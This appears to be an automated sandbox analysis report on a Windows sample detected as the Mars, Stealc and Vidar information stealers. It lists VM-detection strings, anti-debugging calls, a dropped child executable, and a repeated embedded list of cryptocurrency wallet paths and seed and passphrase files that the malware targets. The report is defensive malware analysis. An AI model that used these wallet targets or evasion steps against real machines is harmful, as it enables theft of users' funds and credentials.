Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: DGDBFBFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: DGDBFBFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DGDBFBFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: DGDBFBFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DGDBFBFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DGDBFBFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: DGDBFBFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: DGDBFBFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: DGDBFBFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73704
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73701
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-74747
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73730
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73722
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73754
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	API call chain: ExitProcess graph end node	graph_0-73715
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00417B4E

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

0_2_00416240

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00415DC0 mov eax, dword ptr fs:[00000030h]		0_2_00415DC0
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053E8F6 mov eax, dword ptr fs:[00000030h]		6_2_0053E8F6

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00419DC7 SetUnhandledExceptionFilter,	0_2_00419DC7
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417B4E
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173DD
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CD1B66C
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CD1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CD1B1F7
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: 0_2_6CECAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CECAC62
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_0053CC07 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0053CC07
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00537C28 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00537C28
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00538609 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00538609
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: 6_2_00538757 SetUnhandledExceptionFilter,	6_2_00538757

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"			Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_6CD1B341 cpuid

0_2_6CD1B341

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_00414570
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetLocaleInfoW,	6_2_00541A67
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetLocaleInfoW,	6_2_00547A1C
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00547B45
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_005473E1
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetLocaleInfoW,	6_2_00547C4C
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00547D19
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: EnumSystemLocalesW,	6_2_00547659
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: EnumSystemLocalesW,	6_2_005416C2
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: EnumSystemLocalesW,	6_2_005476A4
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: EnumSystemLocalesW,	6_2_0054773F
Source: C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_005477CC

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00414450

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143C0

Source: C:\Users\user\Desktop\bUcIhJ4VHm.exe

Code function: 0_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144B0

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bUcIhJ4VHm.exe PID: 6760, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.bUcIhJ4VHm.exe.3130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.3100e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bUcIhJ4VHm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bUcIhJ4VHm.exe PID: 6760, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: bUcIhJ4VHm.exe, 00000000.00000002.2443151082.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
